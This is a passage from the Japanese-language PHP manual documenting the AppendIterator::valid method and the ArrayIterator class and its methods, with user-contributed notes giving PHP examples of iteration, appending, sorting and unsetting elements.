値を返しません。

参考

  • Iterator::rewind() - イテレータの最初の要素に巻き戻す
  • AppendIterator::current() - 現在の値を取得する
  • AppendIterator::key() - 現在のキーを取得する
  • AppendIterator::next() - 次の要素に移動する
  • AppendIterator::valid() - 現在の要素が有効かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


現在の要素が有効かどうかを調べる

  • ≪ AppendIterator::rewind
  • ArrayIterator ≫
  • PHP Manual
  • AppendIterator
  • 現在の要素が有効かどうかを調べる

AppendIterator::valid

(PHP 5 >= 5.1.0, PHP 7)

AppendIterator::valid — 現在の要素が有効かどうかを調べる

説明

public AppendIterator::valid ( ) : bool

現在の要素が有効かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

現在のイテレーションが有効な場合に true、それ以外の場合に false を返します。

参考

  • AppendIterator::current() - 現在の値を取得する
  • AppendIterator::key() - 現在のキーを取得する
  • AppendIterator::next() - 次の要素に移動する
  • AppendIterator::rewind() - イテレータを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


ArrayIterator クラス

(PHP 5, PHP 7)

はじめに

このイテレータは、配列やオブジェクトを反復処理する際に 値やキーをリセットしたり修正したりすることができます。

同じ配列を何度も反復処理したい場合は、 ArrayObject のインスタンスとそれを参照する ArrayIterator のインスタンスを作成し、 foreach を使用するか getIterator() メソッドを手動でコールします。

クラス概要

ArrayIterator implements ArrayAccess , SeekableIterator , Countable , Serializable {
/* 定数 */
const int STD_PROP_LIST = 1 ;
const int ARRAY_AS_PROPS = 2 ;
/* メソッド */
public append ( mixed $value ) : void
public asort ( ) : void
public __construct ( mixed $array = array() , int $flags = 0 )
public count ( ) : int
public current ( ) : mixed
public getArrayCopy ( ) : array
public getFlags ( ) : int
public key ( ) : mixed
public ksort ( ) : void
public natcasesort ( ) : void
public natsort ( ) : void
public next ( ) : void
public offsetExists ( mixed $index ) : bool
public offsetGet ( mixed $index ) : mixed
public offsetSet ( mixed $index , mixed $newval ) : void
public offsetUnset ( mixed $index ) : void
public rewind ( ) : void
public seek ( int $position ) : void
public serialize ( ) : string
public setFlags ( string $flags ) : void
public uasort ( callable $cmp_function ) : void
public uksort ( callable $cmp_function ) : void
public unserialize ( string $serialized ) : void
public valid ( ) : bool
}

定義済み定数

ArrayIterator のフラグ

ArrayIterator::STD_PROP_LIST

オブジェクトのプロパティが、 リストとして(var_dump, foreach などから)アクセスされたときの通常の機能を持つ

ArrayIterator::ARRAY_AS_PROPS

エントリがプロパティとしてアクセスできる(読み書きともに)

目次

  • ArrayIterator::append — 要素を追加する
  • ArrayIterator::asort — 値で配列をソートする
  • ArrayIterator::__construct — ArrayIterator を作成する
  • ArrayIterator::count — 要素を数える
  • ArrayIterator::current — 現在の配列エントリを返す
  • ArrayIterator::getArrayCopy — 配列のコピーを取得する
  • ArrayIterator::getFlags — 振る舞いのフラグを取得する
  • ArrayIterator::key — 現在の配列キーを返す
  • ArrayIterator::ksort — キーで配列をソートする
  • ArrayIterator::natcasesort — 大文字小文字を区別せずに自然順で配列をソートする
  • ArrayIterator::natsort — 自然順で配列をソートする
  • ArrayIterator::next — 次のエントリに移動する
  • ArrayIterator::offsetExists — オフセットが存在するかどうかを調べる
  • ArrayIterator::offsetGet — オフセットの値を取得する
  • ArrayIterator::offsetSet — オフセットの値を設定する
  • ArrayIterator::offsetUnset — オフセットの値を削除する
  • ArrayIterator::rewind — 配列を最初に巻き戻す
  • ArrayIterator::seek — 位置を移動する
  • ArrayIterator::serialize — シリアライズする
  • ArrayIterator::setFlags — 振る舞いのフラグを設定する
  • ArrayIterator::uasort — ユーザー定義の比較関数を使ってソートを行い、インデックスとの関連を管理する
  • ArrayIterator::uksort — ユーザー定義の比較関数を使い、キーでソートする
  • ArrayIterator::unserialize — アンシリアライズする
  • ArrayIterator::valid — 配列がまだエントリを持っているかどうかチェックする

User Contributed Notes

shaman_master at list dot ru 01-Dec-2019 06:48
If you want something like `ArrayCallbackIterator` by Relakuyae https://www.php.net/manual/ru/class.arrayiterator.php#106231 , use function `iterator_apply`.
daniel dot rutkoski at gmail dot com 25-Sep-2015 02:28
<?php
class PrintArray
{
    private $code = null;

    function __construct ($val)
    {
        $this->code = $val;
        $this->_print();
    }

    private function arrayIterator($val, $grau)
    {
        $grau++;
        $arr = new \ArrayIterator($val);
        while ($arr->valid())
        {
            if(is_array($arr->current()))
            {
                $this->arrayIterator($arr->current(), $grau);
            }
            else
            {
                $this->code .= str_repeat(" ", (4 * $grau)) . $arr->key() . " : " . $arr->current() . PHP_EOL;
            }
            $arr->next();
        }
    }

    private function _print()
    {
        if (is_array($this->code))
        {
            $arr = new \ArrayIterator($this->code);
            $this->code = 'array(' . PHP_EOL;
            while ($arr->valid())
            {
                if(is_array($arr->current()))
                {
                    $this->arrayIterator($arr->current(), 0);
                }
                else
                {
                    $this->code .= $arr->key() . " : " . $arr->current() . "\n";
                }
                $arr->next();
            }
            $this->code .= ')';
        }
        return $this;
    }

    public function getVal ()
    {
        return $this->code;
    }
}

$arr = array(
    array(
        'ok' => 1, array(9,7,5,9,'a','b'=>array(1,2)),
        'error' => 2, array('h','u','o')
    )
    , 'array'
);
$pArray = new PrintArray($arr);
var_dump($pArray->getVal());
Relakuyae 19-Oct-2011 05:23
Need a callback on an iterated value, but don't have PHP 5.4+?  This makes is stupid easy:

<?php
class ArrayCallbackIterator extends ArrayIterator {
  private $callback;
  public function __construct($value, $callback) {
    parent::__construct($value);
    $this->callback = $callback;
  }

  public function current() {
    $value = parent::current();
    return call_user_func($this->callback, $value);
  }
}
?>

You can use it pretty much exactly as the Array Iterator:

<?php
$iterator1 = new ArrayCallbackIterator($valueList, "callback_function");
$iterator2 = new ArrayCallbackIterator($valueList, array($object, "callback_class_method"));
?>
foobuilder at gmail dot com 09-Dec-2010 11:01
Unsetting all keys of an ArrayItem within foreach will always leave the second key:

<?php
$items = new ArrayObject(range(0, 9));

while (list($k, $v) = each($items)) {
    unset($items[$k]);
}

print_r($items);

//  ArrayIterator Object
//  (
//      [storage:ArrayIterator:private] => Array
//          (
//              [1] => 1
//          )
//  )
?>

I'm not sure if this is a bug as unsetting keys within foreach is usually a bad idea to begin with (use while instead), but it's something to be aware of.
Sean Burlington 26-May-2009 05:15
and to iterate recursively use the (sparsely documented)  RecursiveArrayIterator

<?php

$fruits = array(
                "apple" => "yummy",
                "orange" => "ah ya, nice",
                "grape" => "wow, I love it!",
                 "plum" => "nah, not me"
                );

$veg = array("potato" => "chips", "carrot" => "soup");
$grocery = array($fruits, $veg);
$obj = new ArrayObject( $grocery );

$it = new RecursiveIteratorIterator( new RecursiveArrayIterator($grocery));

foreach ($it as $key=>$val)
echo $key.":".$val."\n";

?>

Output
--------
apple:yummy
orange:ah ya, nice
grape:wow, I love it!
plum:nah, not me
potato:chips
carrot:soup
Venelin Vulkov 11-Nov-2008 03:44
Another fine Iterator from php . You can use it especially when you have to iterate over objects

<?php
$fruits = array(
    "apple" => "yummy",
    "orange" => "ah ya, nice",
    "grape" => "wow, I love it!",
    "plum" => "nah, not me"
);
$obj = new ArrayObject( $fruits );
$it = $obj->getIterator();

// How many items are we iterating over?

echo "Iterating over: " . $obj->count() . " values\n";

// Iterate over the values in the ArrayObject:
while( $it->valid() )
{
    echo $it->key() . "=" . $it->current() . "\n";
    $it->next();
}

// The good thing here is that it can be iterated with foreach loop

foreach ($it as $key=>$val)
echo $key.":".$val."\n";

/* Outputs something like */

Iterating over: 4 values
apple=yummy
orange=ah ya, nice
grape=wow, I love it!
plum=nah, not me

?>

Regards.


要素を追加する

  • ≪ ArrayIterator
  • ArrayIterator::asort ≫
  • PHP Manual
  • ArrayIterator
  • 要素を追加する

ArrayIterator::append

(PHP 5, PHP 7)

ArrayIterator::append — 要素を追加する

説明

public ArrayIterator::append ( mixed $value ) : void

値を最後の要素として追加します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

value

追加する値。

返り値

値を返しません。

注意

注意:

このメソッドは、ArrayIterator がオブジェクトを参照している場合はコールできません。

参考

  • ArrayIterator::next() - 次のエントリに移動する

User Contributed Notes

martin dot abbrent+php dot net at ufz dot de 02-May-2013 12:49
As ArrayIterator is not a real list the implementation of "append" is a little bit confusing me. When using "append" I expected the new value at the postion "last element index + 1". This will not happen when you unset elements before.
It seems like indexes once they're used are blacklisted end never used again, even if they're unset.
Like suggested in http://www.php.net/manual/de/arrayiterator.offsetset.php#106775 ArrayIterator::append uses ArrayIterator::offsetSet with empty index parameter. So I've this two workarounds to get "append" to work like I want:

<?php
class myArrayIterator extends ArrayIterator {

    public function offsetSet($offset, $value) {

        if (is_null($offset)) { // offset == null when it's called by ArrayIterator::append
            $offset = $this->generateOffset(); // do it in a separate method
        }
        parent::offsetSet($offset, $value); // call the native implementation with an index
        $this->ksort(); // sort it to avoid confusion when it gets dumped or iterated
    }

    protected function generateOffset() {

        $offset = count($this); // take count as offset as it should be lastKey+1
        while ($this->offsetExists($offset)) { // is it really empty?
            $offset++; // try the next one until there's an empty one
        }
        return $offset;
    }
}

class mySaveArrayIterator extends myArrayIterator {

    protected function generateOffset() {

        $offset = 0; // expect zero is the first possible key
        while ($this->offsetExists($offset)) { // try every key until there's an empty one
            $offset++;
        }
        return $offset;
    }
}

$data = array('foo', 'bar', 'baz');

$array       = new ArrayIterator($data);
$myArray     = new myArrayIterator($data);
$mySaveArray = new mySaveArrayIterator($data);

// remove the last element
$array      ->offsetUnset(2);
$myArray    ->offsetUnset(2);
$mySaveArray->offsetUnset(2);

// append an element
$array      ->append('foobar');
$myArray    ->append('foobar');
$mySaveArray->append('foobar');

// check the position of the new element
print_r($array);
print_r($myArray);
print_r($mySaveArray);

// remove some element
$array      ->offsetUnset(1);
$myArray    ->offsetUnset(1);
$mySaveArray->offsetUnset(1);

// again append an element
$array      ->append('foobarbaz');
$myArray    ->append('foobarbaz');
$mySaveArray->append('foobarbaz');

// check the position of the new element
print_r($array);
print_r($myArray);
print_r($mySaveArray);
?>

Output:

ArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [3] => foobar
        )

)
myArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [2] => foobar
        )

)
mySaveArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [2] => foobar
        )

)
ArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [3] => foobar
            [4] => foobarbaz
        )

)
myArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [2] => foobar
            [3] => foobarbaz
        )

)
mySaveArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => foobarbaz
            [2] => foobar
        )

)

This helped me to treat the ArrayIterator as a list with valid indexes in a serial manner.
lenye01 at gmail dot com 10-Feb-2011 08:11
we can append values after the given array,the index is begin from 0, for example:

<?php
$b = array('name'=>'mengzhi','age'=>'22','city'=>'shanghai');
$a = new ArrayIterator($b);
$a->append(array('home'=>'china','work'=>'developer'));
var_dump($a);
?>

then output:
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } } }


値で配列をソートする

  • ≪ ArrayIterator::append
  • ArrayIterator::__construct ≫
  • PHP Manual
  • ArrayIterator
  • 値で配列をソートする

ArrayIterator::asort

(PHP 5 >= 5.2.0, PHP 7)

ArrayIterator::asort — 値で配列をソートする

説明

public ArrayIterator::asort ( ) : void

値で配列をソートします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • ArrayIterator::ksort() - キーで配列をソートする
  • ArrayIterator::natcasesort() - 大文字小文字を区別せずに自然順で配列をソートする
  • ArrayIterator::natsort() - 自然順で配列をソートする

User Contributed Notes

There are no user contributed notes for this page.


ArrayIterator を作成する

  • ≪ ArrayIterator::asort
  • ArrayIterator::count ≫
  • PHP Manual
  • ArrayIterator
  • ArrayIterator を作成する

ArrayIterator::__construct

(PHP 5, PHP 7)

ArrayIterator::__construct — ArrayIterator を作成する

説明

public ArrayIterator::__construct ( mixed $array = array() , int $flags = 0 )

ArrayIterator オブジェクトを作成します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

array

反復処理をする配列あるいはオブジェクト。

flags

ArrayIterator オブジェクトの振る舞いを制御するフラグ。 ArrayIterator::setFlags() を参照ください。

返り値

ArrayIterator オブジェクトを返します。

エラー / 例外

ArrayIterator::__construct() は、 配列やオブジェクト以外を渡したときに InvalidArgumentException をスローします。

参考

  • ArrayIterator::getArrayCopy() - 配列のコピーを取得する

User Contributed Notes

There are no user contributed notes for this page.


要素を数える

  • ≪ ArrayIterator::__construct
  • ArrayIterator::current ≫
  • PHP Manual
  • ArrayIterator
  • 要素を数える

ArrayIterator::count

(PHP 5, PHP 7)

ArrayIterator::count — 要素を数える

説明

public ArrayIterator::count ( ) : int

配列の要素の数、あるいはオブジェクトの public プロパティの数を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

連想配列の場合は要素の数、オブジェクトの場合は public プロパティの数を返します。

参考

  • ArrayIterator::getFlags() - 振る舞いのフラグを取得する

User Contributed Notes

There are no user contributed notes for this page.


現在の配列エントリを返す

  • ≪ ArrayIterator::count
  • ArrayIterator::getArrayCopy ≫
  • PHP Manual
  • ArrayIterator
  • 現在の配列エントリを返す

ArrayIterator::current

(PHP 5, PHP 7)

ArrayIterator::current — 現在の配列エントリを返す

説明

public ArrayIterator::current ( ) : mixed

現在の配列エントリを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の配列エントリを返します。

例

例1 ArrayIterator::current() の例

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

for($iterator = $arrayobject->getIterator();
    $iterator->valid();
    $iterator->next()) {

    echo $iterator->key() . ' => ' . $iterator->current() . "\n";
}
?>

上の例の出力は以下となります。

1 => one
2 => two
3 => three

User Contributed Notes

pcdinh at phpvietnam dot net 20-Mar-2006 05:47
ArrayIterator is only used for interating simple arrays of which the value part is not another array. You can test it with a more complex array like this:

$arr = array (
    \\\'Section 1\\\' => array (
        \\\'Cat 1\\\' => array (
            1 => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            2 => \\\'So 2\\\'
        ),

        \\\'Cat 2\\\' => array (
            \\\'Sub-cat 1\\\' => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            \\\'Sub-cat 2\\\' => \\\'So 2\\\'
        )
    ),

    \\\'Section 2\\\' => array (
        \\\'Cat 1\\\' => array (

        ),

        \\\'Cat 2\\\' => array (
            \\\'Sub-cat 1\\\' => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            \\\'Sub-cat 2\\\' => \\\'So 2\\\'
        )
    )
);

$arrayobject = new ArrayObject($arr);

for($iterator = $arrayobject->getIterator();
   $iterator->valid();
   $iterator->next()) {

   echo $iterator->key() . \\\' => \\\' . $iterator->current() . \\\"<br />\\\";
}

The above scriptlet will return

Section 1 => Array
Section 2 => Array

because it can not recursively iterate throught the array.

Do the following instead (in PHP5.1):

$arrayIterator = new RecursiveArrayIterator($arr);
$iterator = new RecursiveIteratorIterator($arrayIterator);
foreach ($iterator as $val) {
    echo $val.\\\'<br/>\\\';
}


配列のコピーを取得する

  • ≪ ArrayIterator::current
  • ArrayIterator::getFlags ≫
  • PHP Manual
  • ArrayIterator
  • 配列のコピーを取得する

ArrayIterator::getArrayCopy

(PHP 5, PHP 7)

ArrayIterator::getArrayCopy — 配列のコピーを取得する

説明

public ArrayIterator::getArrayCopy ( ) : array

配列のコピーを取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

配列のコピーを返します。 ArrayIterator がオブジェクトを参照している場合は public プロパティの配列を返します。

参考

  • ArrayIterator::valid() - 配列がまだエントリを持っているかどうかチェックする

User Contributed Notes

irvine L 06-Jan-2018 05:12
Just in case some of you out there do NOT know this:

(a). 'getArrayCopy()', returns a copy of the ORIGINAL array - iterator object. Therefore, using (for example) 'LimitIterator' on an array-object, and then calling 'getArrayCopy' afterwards, might not return the current (adjusted) object.

(b). Instead, use the 'iterator_to_array' function, in order to access, or return, the current state of the array-object-iterator (whatever). Using the example above (in '(a)'); passing the 'LimitIterator' object into 'iterator_to_array', should return the CURRENT, and NOT ORIGINAL state of your array (iterator object).
lenye01 at gmail dot com 11-Feb-2011 02:20
the difference of this method and the direct assign the object to a value is as follows:

<?php
$b = array('name'=>'mengzhi','age'=>'12','city'=>'shanghai');
$a = new ArrayIterator($b);
$a->append(array('home'=>'china','work'=>'developer'));
$c = $a->getArrayCopy();
var_dump($a);
var_dump($c);
?>
result:
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } } }

array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } }


振る舞いのフラグを取得する

  • ≪ ArrayIterator::getArrayCopy
  • ArrayIterator::key ≫
  • PHP Manual
  • ArrayIterator
  • 振る舞いのフラグを取得する

ArrayIterator::getFlags

(PHP 5 >= 5.1.0, PHP 7)

ArrayIterator::getFlags — 振る舞いのフラグを取得する

説明

public ArrayIterator::getFlags ( ) : int

ArrayIterator の振る舞いを示すフラグを取得します。 利用可能なフラグについては、 ArrayIterator::setFlags を参照してください。

パラメータ

この関数にはパラメータはありません。

返り値

現在のフラグを返します。

参考

  • >ArrayIterator::setFlags()
  • ArrayIterator::valid() - 配列がまだエントリを持っているかどうかチェックする

User Contributed Notes

There are no user contributed notes for this page.


現在の配列キーを返す

  • ≪ ArrayIterator::getFlags
  • ArrayIterator::ksort ≫
  • PHP Manual
  • ArrayIterator
  • 現在の配列キーを返す

ArrayIterator::key

(PHP 5, PHP 7)

ArrayIterator::key — 現在の配列キーを返す

説明

public ArrayIterator::key ( ) : mixed

この関数は、現在の配列キーを返します

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、現在の配列キーを返します

例

例1 ArrayIterator::key() の例

<?php
$array = array('key' => 'value');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

echo $iterator->key(); //key
?>

User Contributed Notes

There are no user contributed notes for this page.


キーで配列をソートする

  • ≪ ArrayIterator::key
  • ArrayIterator::natcasesort ≫
  • PHP Manual
  • ArrayIterator
  • キーで配列をソートする

ArrayIterator::ksort

(PHP 5 >= 5.2.0, PHP 7)

ArrayIterator::ksort — キーで配列をソートする

説明

public ArrayIterator::ksort ( ) : void

キーで配列をソートします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • ArrayIterator::asort() - 値で配列をソートする
  • ArrayIterator::natcasesort() - 大文字小文字を区別せずに自然順で配列をソートする
  • ArrayIterator::natsort() - 自然順で配列をソートする

User Contributed Notes

There are no user contributed notes for this page.


大文字小文字を区別せずに自然順で配列をソートする

  • ≪ ArrayIterator::ksort
  • ArrayIterator::natsort ≫
  • PHP Manual
  • ArrayIterator
  • 大文字小文字を区別せずに自然順で配列をソートする

ArrayIterator::natcasesort

(PHP 5 >= 5.2.0, PHP 7)

ArrayIterator::natcasesort — 大文字小文字を区別せずに自然順で配列をソートする

説明

public ArrayIterator::natcasesort ( ) : void

大文字小文字を区別しない "自然順" アルゴリズムを使って、値でエントリをソートします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • ArrayIterator::asort() - 値で配列をソートする
  • ArrayIterator::ksort() - キーで配列をソートする
  • ArrayIterator::natsort() - 自然順で配列をソートする
  • natcasesort() - 大文字小文字を区別しない"自然順"アルゴリズムを用いて配列をソートする

User Contributed Notes

There are no user contributed notes for this page.


自然順で配列をソートする

  • ≪ ArrayIterator::natcasesort
  • ArrayIterator::next ≫
  • PHP Manual
  • ArrayIterator
  • 自然順で配列をソートする

ArrayIterator::natsort

(PHP 5 >= 5.2.0, PHP 7)

ArrayIterator::natsort — 自然順で配列をソートする

説明

public ArrayIterator::natsort ( ) : void

"自然順" アルゴリズムを使って、値でエントリをソートします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • ArrayIterator::asort() - 値で配列をソートする
  • ArrayIterator::ksort() - キーで配列をソートする
  • ArrayIterator::natcasesort() - 大文字小文字を区別せずに自然順で配列をソートする
  • natsort() - "自然順"アルゴリズムで配列をソートする

User Contributed Notes

There are no user contributed notes for this page.


次のエントリに移動する

  • ≪ ArrayIterator::natsort
  • ArrayIterator::offsetExists ≫
  • PHP Manual
  • ArrayIterator
  • 次のエントリに移動する

ArrayIterator::next

(PHP 5, PHP 7)

ArrayIterator::next — 次のエントリに移動する

説明

public ArrayIterator::next ( ) : void

この関数は次のエントリにイテレータを移動します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 ArrayIterator::next() の例

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
    echo $iterator->key() . ' => ' . $iterator->current() . "\n";

    $iterator->next();
}
?>

上の例の出力は以下となります。

0 => zero
1 => one

User Contributed Notes

onelsonsenna at gmail dot com 06-Oct-2011 11:09
If you use exchangeArray method of ArrayObject and then next method of ArrayIterator like this:

<?php

    $fruits = array("apple", "grape", "lemon");

    $colors = array("blue", "yellow", "green");

    $arrayObject = new ArrayObject($fruits);

    $arrayIterator = $arrayObject->getIterator();

    while($arrayIterator->valid()) {

        if ($arrayIterator->current() == "grape") {
            $arrayObject->exchangeArray($colors);
        }

        $arrayIterator->next();
    }

?>

You will receive:

PHP Notice:  ArrayIterator::next(): Array was modified outside object and internal position is no longer valid

So be careful with next and prev operations. :)


オフセットが存在するかどうかを調べる

  • ≪ ArrayIterator::next
  • ArrayIterator::offsetGet ≫
  • PHP Manual
  • ArrayIterator
  • オフセットが存在するかどうかを調べる

ArrayIterator::offsetExists

(PHP 5, PHP 7)

ArrayIterator::offsetExists — オフセットが存在するかどうかを調べる

説明

public ArrayIterator::offsetExists ( mixed $index ) : bool

オフセットが存在するかどうかを調べます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

index

調べたいオフセット。

返り値

オフセットが存在する場合に true、それ以外の場合に false を返します。

参考

  • ArrayIterator::valid() - 配列がまだエントリを持っているかどうかチェックする

User Contributed Notes

There are no user contributed notes for this page.


オフセットの値を取得する

  • ≪ ArrayIterator::offsetExists
  • ArrayIterator::offsetSet ≫
  • PHP Manual
  • ArrayIterator
  • オフセットの値を取得する

ArrayIterator::offsetGet

(PHP 5, PHP 7)

ArrayIterator::offsetGet — オフセットの値を取得する

説明

public ArrayIterator::offsetGet ( mixed $index ) : mixed

指定したオフセットの値を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

index

値を取得したいオフセット。

返り値

オフセット index の値を返します。

参考

  • ArrayIterator::offsetSet() - オフセットの値を設定する
  • ArrayIterator::offsetUnset() - オフセットの値を削除する

User Contributed Notes

There are no user contributed notes for this page.


オフセットの値を設定する

  • ≪ ArrayIterator::offsetGet
  • ArrayIterator::offsetUnset ≫
  • PHP Manual
  • ArrayIterator
  • オフセットの値を設定する

ArrayIterator::offsetSet

(PHP 5, PHP 7)

ArrayIterator::offsetSet — オフセットの値を設定する

説明

public ArrayIterator::offsetSet ( mixed $index , mixed $newval ) : void

指定したオフセットの値を設定します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

index

設定したいインデックス。

newval

インデックスに格納する新しい値。

返り値

値を返しません。

参考

  • ArrayIterator::offsetGet() - オフセットの値を取得する
  • ArrayIterator::offsetUnset() - オフセットの値を削除する

User Contributed Notes

shiranai7 at NOSPAM dot hotmail dot NOSPAM dot com 05-Dec-2011 12:52
The $index argument seems to be NULL for append operations, e.g.:

<?php

// example extension class
class Test extends ArrayIterator
{
    public function offsetSet($index, $newval)
    {
        echo 'Test::offsetSet('.var_export($index, true).', '.var_export($newval, true).")\n";
    }
}

// test
$i = new Test;
$i[] = 'append a value';

?>

The result is:

Test::offsetSet(NULL, 'append a value')


オフセットの値を削除する

  • ≪ ArrayIterator::offsetSet
  • ArrayIterator::rewind ≫
  • PHP Manual
  • ArrayIterator
  • オフセットの値を削除する

ArrayIterator::offsetUnset

(PHP 5, PHP 7)

ArrayIterator::offsetUnset — オフセットの値を削除する

説明

public ArrayIterator::offsetUnset ( mixed $index ) : void

オフセットの値を削除します。

反復処理を実行中の場合、かつ現在の処理のインデックスを削除するために ArrayIterator::offsetUnset() を使った場合、 反復処理の位置は次のインデックスに移動します。 反復処理の位置が foreach ループの最後であってもインデックスは移動するため、 foreach ループの内部で ArrayIterator::offsetUnset() を使うと、 複数のインデックスがスキップされるかもしれません。

パラメータ

index

削除したいオフセット。

返り値

値を返しません。

参考

  • ArrayIterator::offsetGet() - オフセットの値を取得する
  • ArrayIterator::offsetSet() - オフセットの値を設定する

User Contributed Notes

rkos... 14-Feb-2014 09:11
This is my solution for problem with offsetUnset
<?php

$a = new ArrayObject( range( 0,9 ) );
$b = new ArrayIterator( $a );

for ( $b->rewind(); $b->valid();  )
{
    echo "#{$b->key()} - {$b->current()} - <br>\r\n";
    if($b->key()==0 || $b->key()==1){
        $b->offsetUnset( $b->key() );
    }else {
        $b->next();
    }
}

var_dump($b);
?>
olav at fwt dot no 07-Jul-2011 04:12
When unsetting elements as you go it will not remove the second index of the Array being worked on. Im not sure exactly why but there is some speculations that when calling unsetOffset(); it resets the pointer aswell.

<?php

$a = new ArrayObject( range( 0,9 ) );
$b = new ArrayIterator( $a );

for ( $b->rewind(); $b->valid(); $b->next() )
{
    echo "#{$b->key()} - {$b->current()} - \r\n";
    $b->offsetUnset( $b->key() );
}

?>

To avoid this bug you can call offsetUnset in the for loop

<?php
/*** ... ***/
for ( $b->rewind(); $b->valid(); $b->offsetUnset( $b->key() ) )
{
/*** ... ***/
?>

Or unset it directly in the ArrayObject
<?php
/*** ... ***/
    $a->offsetUnset( $b->key() );
/*** ... ***/
?>

which will produce correct results
Adil Baig @ AIdezigns 23-Jun-2011 11:23
Make sure you use this function to unset a value. You can't access this iterator's values as an array. Ex:

<?php
$iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator($arr));

foreach($iterator as $key => $value)
{
    unset($iterator[$key]);
}
?>

Will return :

PHP Fatal error:  Cannot use object of type RecursiveIteratorIterator as array

offsetUnset works properly even when removing items from nested arrays.


配列を最初に巻き戻す

  • ≪ ArrayIterator::offsetUnset
  • ArrayIterator::seek ≫
  • PHP Manual
  • ArrayIterator
  • 配列を最初に巻き戻す

ArrayIterator::rewind

(PHP 5, PHP 7)

ArrayIterator::rewind — 配列を最初に巻き戻す

説明

public ArrayIterator::rewind ( ) : void

イテレータを最初に巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 ArrayIterator::rewind() の例

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';
$arrayobject[] = 'two';

$iterator = $arrayobject->getIterator();

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); //最初に巻き戻す
echo $iterator->key(); //0
?>

User Contributed Notes

There are no user contributed notes for this page.


位置を移動する

  • ≪ ArrayIterator::rewind
  • ArrayIterator::serialize ≫
  • PHP Manual
  • ArrayIterator
  • 位置を移動する

ArrayIterator::seek

(PHP 5, PHP 7)

ArrayIterator::seek — 位置を移動する

説明

public ArrayIterator::seek ( int $position ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

position

移動する位置。

返り値

値を返しません。

User Contributed Notes

foalford at gmail dot com 27-Apr-2016 02:20
<?php
//seek alter the iterator's internal indice instead of the value that key() returns.
//This is a big trap if combining with uasort/natsort function.

$a = new ArrayObject([4,3,2,1]);
$it = $a->getIterator();
$it->natsort();   //The Iterator preserve the key while sorting the array
$it->rewind();
$first = $it->key();   //The first element is  1 and it's key is 3
echo $first. PHP_EOL;  // 3

$it->next();
$second = $it->key();
echo $second. PHP_EOL; //2

$it->next();
$it->seek($first);             //Was intended to seek to element 1, key 3, indice 0
echo  $it->key() . PHP_EOL; //end up 0 because seek took parameter as indice instead of key. It seek to element indice 3, element 4 key 0.

var_dump($it);

/* Output:
3
2
0
object(ArrayIterator)#2 (1) {
  ["storage":"ArrayIterator":private]=>
  object(ArrayObject)#1 (1) {
    ["storage":"ArrayObject":private]=>
    array(4) {
      [3]=>
      int(1)
      [2]=>
      int(2)
      [1]=>
      int(3)
      [0]=>
      int(4)
    }
  }
}
*/
jon at ngsthings dot com 21-Oct-2008 05:08
<?php
// didn't see any code demos...here's one from an app I'm working on

$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);
